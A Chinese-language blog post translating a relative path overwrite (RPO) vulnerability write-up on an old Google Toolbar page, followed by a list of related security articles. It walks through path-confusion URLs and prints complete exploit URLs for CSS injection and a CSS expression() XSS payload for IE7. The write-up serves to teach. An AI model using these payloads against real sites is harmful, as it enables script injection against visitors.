这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它。这是一篇很有意思的漏洞挖掘文章。

  前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了。但是思路真的牛皮。我决定花费时间和精力研究它们。我决定运用我对这个漏洞的理解来讲述他们。

  存在漏洞网站地址:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

  查看源代码

<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
......

首先我们不管有没有rpo漏洞吧,先看最基础的,代码是不符合规范的

当我在sublime中输入<htm然后自动补全

代码的开头会有<!DOCTYPE html>

了解这个很重要,我们继续往下说。

    rpo呢,简单点来说就是相对路径覆盖 ,源码中引用了相对路径css文件。

    那么我们要做的就是覆盖这个css文件,导致css攻击钓鱼 or css-xss攻击?

    现在我们知道,这算符合rpo攻击的一些条件的 1.没doctype  2.包含相对路径

  下一步我们要做什么?

  进行验证,他是否支持%2f,看看他是如何解析的:

  尝试修改网站为:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

  当我们再次访问

    我们发现页面正常访问,唯一的缺陷就是css失效了,它并没有显示404

  为什么会css样式会失效?

  让我们深入理解他们:

   网址输入http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    服务器的理解:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

   浏览器的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表的理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    没把/改成%2f之前:http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

    css样式表:http://www.google.com/tools/toolbar/style.css

    当把/改成%2f之后http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/style.css

    这样会导致style.css不存在,所以无法加载css样式表。导致这种问题是因为apis%2fhowto_guide.html被认为是一个文件,而不是被认为是apisapis/howto_guide.html一个目录

    

    现在浏览器认为我们的目录是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis

    我们继续往前探测,我们发现它影响/tools/toolbar/buttons/*style.css ,可以覆盖他们,但是这范围太小了。

    我们尝试创建个fake目录和..%2ftoolbar

     当输入:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    服务器理解:因为fake和..%2ftoolbar目录不存在,所以被理解:http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    浏览器理解:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html

    css样式表:http://www.google.com/tools/fake/style.css

  在这里我们添加了fake 和..%2ftoolbar虚假目录,这样浏览器认为fake和..%2ftoolbar都是目录,因为他们中间都有/*/,而%2f被理解成了文件。

    经过实验证明,理论上我们可以css覆盖http://www.google.com/*/style.css ,但是我们再次往上层编码,发现这是不行的,会出错。所以css覆盖止步于:http://www.google.com/tools/*/style.css

    现在我们需要个契机,导致它能css覆盖成功。 我们在http://www.google.com/tools/*寻找某个自定义内容的点,希望通过它能够css覆盖成功。

      我们发现某个接口http://www.google.com/tools/toolbar/buttons/gallery

    当我们访问这个接口的时候会跳转到:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1

    这个跳转链接处有个q参数搜索,那么我们在接口处http://www.google.com/tools/toolbar/buttons/gallery?q=1

    会进行二次跳转,跳转到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=1

    那么我们尝试覆盖css

      在原来接口处http://www.google.com/tools/toolbar/buttons/gallery?q={}*{background:red}

      他会跳转到:  

      http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}

      让我们查看源代码:  

      

css代码成功植入,虽然他不在style样式表中。

    为什么只能使用接口而不能使用跳转链接进行攻击?因为我们的css覆盖止步于:http://www.google.com/tools/*/style.css

    而我们的跳转接口在/tools/*下。

      现在我们来利用它:

    构造地址:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     服务器的理解:http://www.google.com/tools/toolbar/buttons//apis/howto_guide.html

     浏览器的理解:http://www.google.com/tools/toolbar/buttons%2Fgallery%3Fq%3D%0a%7B%7D*%7Bbackground%3Ared%7D/..%2F的/apis/howto_guide.html

     css样式表:http://www.google.com/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css

     然后进行二次跳转:/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css

     

发现背景颜色变成了红色。我们css覆盖成功。

  现在我们把改变颜色的代码变成xss攻击代码:ie7下执行

    http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bx%253Aexpression(alert(document.domain))%257D/..%2f/apis/

    

    

就翻译到这里吧。

关于rpo攻击css地址的payload哪里来的?参考:http://www.thespanner.co.uk/2014/03/21/rpo/

这个人是作者

RPO攻击真的是一种被大部分人忽略的攻击,个人觉得危害很大,其实大家可以举一反三,它不仅仅会影响相对路径css覆盖,甚至他也能导致相对路径js覆盖劫持。我准备下一篇文章翻译他们。敬请期待。

一篇RPO漏洞挖掘文章翻译加深理解。的更多相关文章

  1. ref:【干货分享】PHP漏洞挖掘——进阶篇

    ref:http://blog.nsfocus.net/php-vulnerability-mining/ [干货分享]PHP漏洞挖掘——进阶篇 王陶然     从常见的PHP风险点告诉你如何进行PH ...

  2. ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

    ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加 ...

  3. 浅析通过"监控"来辅助进行漏洞挖掘

    这篇文章总结了一些笔者个人在漏洞挖掘这一块的"姿势",看了下好像也没相关类似TIPs或者文章出现,就写下此文. 本文作者:Auther : vulkey@MstLab(米斯特安全攻 ...

  4. D-Link系列路由器漏洞挖掘

    参考 http://www.freebuf.com/articles/terminal/153176.html https://paper.seebug.org/429/ http://www.s3c ...

  5. D-Link系列路由器漏洞挖掘入门

    D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大 ...

  6. (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)

    from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1)   最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...

  7. Shodan在渗透测试及漏洞挖掘中的一些用法

    渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...

  8. (转)干货|这篇TensorFlow实例教程文章告诉你GANs为何引爆机器学习?(附源码)

    干货|这篇TensorFlow实例教程文章告诉你GANs为何引爆机器学习?(附源码) 该博客来源自:https://mp.weixin.qq.com/s?__biz=MzA4NzE1NzYyMw==& ...

  9. 【读书笔记】Android平台的漏洞挖掘和分析

    最近比较关注移动端的安全,以后也打算向安卓平台的安全发展.这篇博文主要是记录一些研究Android安全的读书笔记. Fuzzing技术的核心是样本生成技术 测试Android平台的组件间通信功能使用的 ...

随机推荐

  1. Selenium+Java - 结合sikuliX操作Flash网页

    前言 前天被一个Flash的轮播图,给玩坏了,无法操作,后来请教了下crazy总拿到思路,今天实践了下,果然可以了,非常感谢! 模拟场景 打开百度地图 切换城市到北京 使用测距工具 测量 奥林匹克森林 ...

  2. Spark 系列(十)—— Spark SQL 外部数据源

    一.简介 1.1 多数据源支持 Spark 支持以下六个核心数据源,同时 Spark 社区还提供了多达上百种数据源的读取方式,能够满足绝大部分使用场景. CSV JSON Parquet ORC JD ...

  3. Linux配置及指令

    目录 Linux配置及指令 一.linux中常用软件的安装 二.主机名和网络 1.修改主机名 2.设置网络 三.关闭防火墙 1.检查防火墙是否开启 2.清除策略 3.永久关闭第一个防火墙 4.关闭第二 ...

  4. 面试java后端面经_3

    小姐姐说:你一点都不懂表达,一点都不懂爱情,一点也不爱我! 你答:你知道吗,我听说过一个这样的故事,讲的就是有一个小女孩和一个男孩在一起,小男孩呢很不幸是位聋哑人,虽然如此,但是他们的日子过得特别的美 ...

  5. 蔡勒(Zeller)公式及其推导:快速将任意日期转换为星期数

    0. 本文的初衷及蔡勒公式的用处 前一段时间,我在准备北邮计算机考研复试的时候,做了几道与日期计算相关的题目,在这个过程中我接触到了蔡勒公式.先简单的介绍一下蔡勒公式是干什么用的. 我们有时候会遇到这 ...

  6. Hyper-V修改Docker for Windows存储设置

    自从Win10安装了Docker for Windows后,C盘容量爆炸,必须做一波迁移了.我的Docker使用的是Windows的Hyper-V虚拟机,于是google了一番找到以下一篇文章 doc ...

  7. Linux安装配置Samba共享文件系统

    Samba共享文件系统搭建与配置: 1.Samba服务端:yum install samba samba-client cifs-utilscd /etc/samba/cp smb.conf smb. ...

  8. C#设计模式开启闯关之路

    前言背景 这是一条望不到尽头的编程之路,自踏入编程之路开始.就面临着各式各样的挑战,而我们也需要不断的挑战自己.不断学习充实自己.打好坚实的基础.以使我们可以走的更远.刚踏入编程的时候.根据需求编程, ...

  9. vue项目中引入Sass

    Sass作为目前成熟,稳定,强大的css扩展语言,让越来越多的前端工程师喜欢上它.下面介绍了如何在vue项目 中引入Sass. 首先在项目文件夹执行命令 npm install vue-cli -g, ...

  10. DNS域名解析服务及其配置

    一.背景 到 20 世纪 70 年代末,ARPAnet 是一个拥有几百台主机的很小很友好的网络.仅需要一个名为 HOSTS.TXT 的文件就能容纳所有需要了解的主机信息:它包含了所有连接到 ARPAn ...